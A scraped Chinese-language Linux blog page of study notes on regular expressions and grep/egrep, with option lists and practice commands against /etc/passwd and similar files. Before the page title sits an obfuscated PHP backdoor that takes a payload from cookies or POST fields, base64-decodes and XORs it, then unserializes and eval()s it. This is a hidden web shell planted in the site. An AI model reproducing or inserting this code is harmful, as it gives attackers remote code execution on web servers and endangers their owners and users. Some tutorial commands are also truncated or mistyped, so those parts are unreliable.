$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 正则表达式 | Linux运维部落

正则表达式

grep:Global search REgular expression and Print out the line

        文本搜索工具,根据用户指定的”模式“对目标文本逐行进行匹配检查;打印匹配到的行

       模式:由正则表达式字符及文本字符所编写的过滤条件

     grep命令选项:

        –color=auto:对匹配到的文本着色显示;

        -v:显示不能够被匹配到的行;

        -i:忽略字符的大小写

       -n:显示匹配到的行号

       -c:统计匹配的行数

      -o:仅显示匹配到的字符串

        -q:静默模式,不输出任何信息

        -A#:after,后#行

         -B:before,前#行

         -C:context,前后各#行

         -e:实现多个选项间的逻辑or关系

                      grep -e ’cat‘ -e ‘dog’file 

         -w:整行匹配整个单词

         -E:使用ERE

   元字符分类:字符匹配,匹配次数,位置锚定,分组

           字符匹配:

                . :匹配任意单个字符

                [] :匹配指定范围内的任意单个字符

                [^]:匹配指定范围内的任意单个字符

                 [:diget:]数字    [:lower:]小写字母  [:upper:]大写字母  [:alpha:] 任意字母      [:alnum:] 数字和字母   [:space:]空格       [:punct:]标点符号

                匹配次数:

                   *:匹配前面的字符任意次  eg:a*b   匹配a任意次

                   .*:任意长度的任意字符

                   \?:匹配其前面的字符0次或1次

                    \+:匹配其前面的字符至少1次

                    \{m\}:匹配其前面的字符m次

                    \{m,n\}:匹配其前面的字符至少M次,至多n次

                     \{,n\}:匹配其前面的字符至多n次

                     \{m,\}:匹配其前面的字符至少M次

  位置锚定:

                     ^:行首锚定,用于模式的最左侧

                     $:行尾锚定,用于模式的最右侧

                      ^$:空行

                      ^[[:space:]]$空白行

                   \<或\b:词首锚定,用于单词的左侧

                    \>或\b:词尾锚定,用于单词的右侧

                    \<PATTERN\>:匹配整个单词 eg: \<root\>\ 或 \broot\b

    分组:\(\):将一个或多个字符捆绑在一起,当作一个整体进行处理,如:\(root\)\+

分组括号中的模式匹配到的内容会被正则表达式引擎记录于内部的变量中,这些变量的命名方式为: \1, \2, \3, …

\1: 从左侧起,第一个左括号以及与之匹配右括号之间的模式所匹配到的字符;

实例:\(string1\+\(string2\)*\)

\1: string1\+\(string2\)*

\2: string2

后向引用:引用前面的分组括号中的模式所匹配字符(而非模式本身)

egrep 扩展的正则表达式

        扩展正则表达式的元字符:

          字符匹配:

             .任意单个字符

            []指定范围的字符

            [^]不在指定范围的字符

         次数匹配
             *:匹配前面的字符任意次   

             ?:0或1次

              +:1次以上

              {m}:匹配m次

               {m,n}:至少m次至多n次

         位置锚定:

               ^:行首锚定

               $:行尾锚定

                \<,\b:词首锚定

                \>,\b:词尾锚定

           分组:()   后向引用:\1,\2……    

                  或a|b     C|cat:c或cat

                     (C|c)at:Cat或cat



[root@localhost ~]# tail -n 0 -f /var/log/messages &      只显示新的监控内容   (后台执行)不影响新的操作

  剪切df下%前的数字

 1[root@localhost ~]# df |tr -s " " ":"|cut -d: -f5|tr -d "%"

Use

2

0

19

21

1

2、查出分区空间使用率的最大百分比值

     [root@localhost ~]# df |tr -s ' ' ':'|cut -d: -f5|sort -n -r

3查出/tmp的权限,以数字方式显示      正则表达式正则表达式正则表达式正则表达式

[root@localhost ~]# stat /tmp|head -4|tail -1|cut -d: -f2|tr -dc '[[:digit:]]'

4查出用户UID最大值的用户名、UID及shell类型

   [root@localhost ~]# cat /etc/passwd |cut -d: -f 1,3,7|sort -t: -k2 -nr正则表达式

练习:grep

1、显示/proc/meminfo文件中以大小s开头的行;(要求:使用两种方式)

        [root@localhost ~]# egrep '^(s|S)' /proc/meminfo

             [root@localhost ~]# grep ^[sS] /proc

            [root@localhost ~]# grep -i "^s" /proc/meminfo


2、显示/etc/passwd文件中不以/bin/bash结尾的行

           [root@localhost ~]# grep -v /bin/bash$ /etc/passwd

3、显示用户rpc默认的shell程序

            [root@localhost ~]# grep '^rpc\b' /etc/passwd |cut -d: -f7

                 

4、找出/etc/passwd中的两位或三位数

[root@localhost ~]# grep "\b[0-9]\{2,3\}\b" /etc/passwd

[root@localhost ~]# grep "\b[1-9][0-9]\{1,2\}\b" /etc/passwd

5、显示/etc/grub2.cfg文件中,至少以一个空白字符开头的且后面存非空白字符的行

[root@localhost ~]# grep "^[[:space:]]\+[^[:space:]]" /etc/grub2.cfg

6、找出"netstat -tan"命令的结果中以'LISTEN'后跟0、1或多个空白字符结尾的行  

[root@localhost ~]# netstat -tan |grep "LISTEN[[:space:]]$\?"

   7、添加用户bash、testbash、basher以及nologin(其shell为/sbin/nologin),而后找出/etc/passwd文件中用户名同shell名的行      

       [root@localhost ~]# grep '^\b\(.*\)\b.*/\1$' /etc/passwd

          [root@localhost ~]# grep '^\<\(.*\)\>.*\b\1\b$' /etc/passwd

           [root@localhost ~]# grep '^\(.*\).*/\1$' /etc/passwd

      

练习egrep

1、显示当前系统root、mage或wang用户的UID和默认shell

              root@localhost ~]# egrep "^\<root\>|^\<mage\>|^\<wang\>" /etc/passwd | cut -d: -f3,7

[root@localhost ~]# egrep "^(root|mage|wang)\b" /etc/passwd |cut -d: -f3,7

2、找出/etc/rc.d/init.d/functions文件中行首为某单词(包括下划线)后面跟一个小括号的行

[root@localhost ~]# grep -E "^[[:alnum:]_]+\(\)" /etc/rc.d/init.d/functions 

3、使用egrep取出/etc/rc.d/init.d/functions中其基名

init.d/function" |egrep -o "[^/]+/?$"

原创文章,作者:蛰伏,如若转载,请注明出处:http://www.178linux.com/30303

(0)
上一篇 2016-08-08 16:11
下一篇 2016-08-08 16:11

相关推荐

  • 文本处理三剑客之Gawk ✧

        AWK可以说是一种语言,他有着自己的语法,可以实现函数定义,变量赋值,条件选择(循环,判断,选择)…总之是值得深入研究一下的。     AWK的起源:是个报告生成器,可以格式化文本输出内容,它的命名是由Aho,Weinberger,Kernighan三位作者首…

    Linux干货 2016-09-21
  • 流式传输的两大主流种类及流式传输特点

     流式传输定义很广泛,现在主要指通过网络传送媒体(如视频、音频)的技术总称。其特定含义为通过Internet 将影视节目传送到PC机。实现流式传输有两种方法:实时流式传输(Realtime streaming)和顺序流式传输(progressive streaming)。(百度百科)     在网络上传输音/视频(英文…

    Linux干货 2015-04-10
  • sed 流编辑器 练习

    8-9 sed 练习 1、删除/etc/grub2.conf文件中所有以空白开头的行行首的 空白字符 sed 's@^[[:space:]]@@g' /etc/grub2.conf  2、删除/etc/fstab文件中所有以#开头,后面至少跟一个空 白字符的行的行首的#和空白字符 sed 's@^#[[:space:]]\{1…

    学员作品 2016-08-10
  • grep及正则表达式相关练习

    grep及正则表达式相关练习 1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。 ~]# cp -r /etc/skel/ /home/tuser1 ~]# chmod -R 700 /home/tuser1 ~]# ls -ld /home/tuser1 drwx&#821…

    Linux干货 2016-10-11
  • bash脚本之练习

    1、编写服务脚本/root/bin/testsrv.sh,完成如下要求  (1) 脚本可接受参数:start, stop, restart, status  (2) 如果参数非此四者之一,提示使用格式后报错退出 (3) 如是start:则创建/var/lock/subsys/SCRIPTNAME, 并显示“启动成功” 考虑:如果事先已经启…

    Linux干货 2016-08-24
  • file 命令

    文件类型:             – 普通文件             d 目录文件   &nb…

    2017-07-23